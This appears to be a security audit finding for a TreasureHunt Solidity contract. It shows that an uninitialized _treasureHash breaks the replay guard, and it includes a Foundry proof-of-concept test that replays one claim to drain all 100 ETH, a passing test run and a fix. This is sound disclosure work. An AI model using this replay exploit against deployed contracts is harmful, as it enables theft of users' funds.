Root + Impact
Description
TreasureHunt declares bytes32 private immutable _treasureHash; at line 35 but the constructor (lines 64–72) never initializes it. The replay guard in claim() reads claimed[_treasureHash] (an uninitialized, always-zero key) while _markClaimed(treasureHash) writes to the user-supplied treasureHash key. Because the read key and the write key differ, the replay guard never triggers for legitimate claims. One valid (proof, treasureHash, recipient) tuple can therefore consume every REWARD slot and drain the full 100 ETH hunt funding.
bytes32 private immutable _treasureHash;
constructor(address _verifier) payable {
if (_verifier == address(0)) revert InvalidVerifier();
owner = msg.sender;
verifier = IVerifier(_verifier);
paused = false;
}
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
...
if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
...
bool ok = verifier.verify(proof, publicInputs);
if (!ok) revert InvalidProof();
_incrementClaimsCount();
_markClaimed(treasureHash);
(bool sent, ) = recipient.call{value: REWARD}("");
require(sent, "ETH_TRANSFER_FAILED");
emit Claimed(treasureHash, msg.sender);
}
function _markClaimed(bytes32 treasureHash) internal {
claimed[treasureHash] = true;
}
Slither independently flags this on the scoped file:
Detector: uninitialized-state
TreasureHunt._treasureHash (contracts/src/TreasureHunt.sol#35) is never initialized. It is used in:
- TreasureHunt.claim(bytes,bytes32,address) (contracts/src/TreasureHunt.sol#83-112)
Risk
Likelihood: High.
The bug is reachable on the external claim() entrypoint, requires no privileged role, survives the nonReentrant guard, and triggers on every successful legitimate claim.
Any participant who finds any treasure is one replayed call away from draining the contract; the bug fires whenever the replay guard claimed[_treasureHash] read-key diverges from the _markClaimed(treasureHash) write-key — which is always, because _treasureHash is never assigned.
Impact: High.
A single valid (proof, treasureHash, recipient) tuple — i.e. any legitimate claim of any treasure — can be replayed up to MAX_TREASURES times. claimsCount increments each time and REWARD is transferred each time.
The entire 100 ETH (10 treasures × 10 ETH) can be drained to a single recipient using one legitimate discovery, preventing every other participant from ever claiming a reward.
Proof of Concept
The Foundry test below models any accepted (proof, public-inputs) tuple with a minimal AlwaysValidVerifier. The replay bug is independent of proof validity because it lives in the bookkeeping that runs after verifier.verify(...) returns true. File: contracts/test/hunter_pocs/DoubleClaimPoC.t.sol.
pragma solidity ^0.8.27;
import {Test} from "forge-std/Test.sol";
import {TreasureHunt} from "../../src/TreasureHunt.sol";
import {IVerifier} from "../../src/Verifier.sol";
contract AlwaysValidVerifier is IVerifier {
function verify(bytes calldata, bytes32[] calldata) external pure returns (bool) { return true; }
}
contract DoubleClaimPoC is Test {
TreasureHunt internal hunt;
address internal owner = address(0xA11CE);
address internal finder = address(0xB0B);
address payable internal recipient = payable(address(0xCAFE));
function setUp() public {
vm.deal(owner, 100 ether);
vm.prank(owner);
hunt = new TreasureHunt{value: 100 ether}(address(new AlwaysValidVerifier()));
}
function testSameTreasureCanDrainAllRewardsTenTimes() public {
bytes memory proof = hex"01";
bytes32 treasureHash = keccak256("already found treasure");
uint256 startingRecipientBalance = recipient.balance;
vm.startPrank(finder);
hunt.claim(proof, treasureHash, recipient);
assertTrue(hunt.claimed(treasureHash), "first claim should mark the treasure claimed");
assertEq(hunt.claimsCount(), 1, "first claim should consume one slot");
hunt.claim(proof, treasureHash, recipient);
assertEq(hunt.claimsCount(), 2, "same claimed treasure should not be claimable twice");
assertEq(recipient.balance, startingRecipientBalance + 20 ether, "same treasure paid twice");
for (uint256 i = 2; i < hunt.MAX_TREASURES(); i++) {
hunt.claim(proof, treasureHash, recipient);
}
vm.stopPrank();
assertTrue(hunt.claimed(treasureHash), "treasure was marked claimed");
assertEq(hunt.claimsCount(), hunt.MAX_TREASURES(), "same treasure consumed every slot");
assertEq(recipient.balance, startingRecipientBalance + 100 ether, "recipient received the full hunt balance");
assertEq(address(hunt).balance, 0, "hunt was drained");
}
}
Command + result:
forge test --match-test testSameTreasureCanDrainAllRewardsTenTimes -vvv
[PASS] testSameTreasureCanDrainAllRewardsTenTimes() (gas: 348280)
Suite result: ok. 1 passed; 0 failed; 0 skipped;
Recommended Mitigation
Replace the uninitialized-immutable guard with a check against the user-supplied treasureHash, and delete the unused _treasureHash field:
- bytes32 private immutable _treasureHash;
- ...
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);
Add a regression test that calls claim() twice with the same (proof, treasureHash, recipient) and expects the second call to revert with AlreadyClaimed.
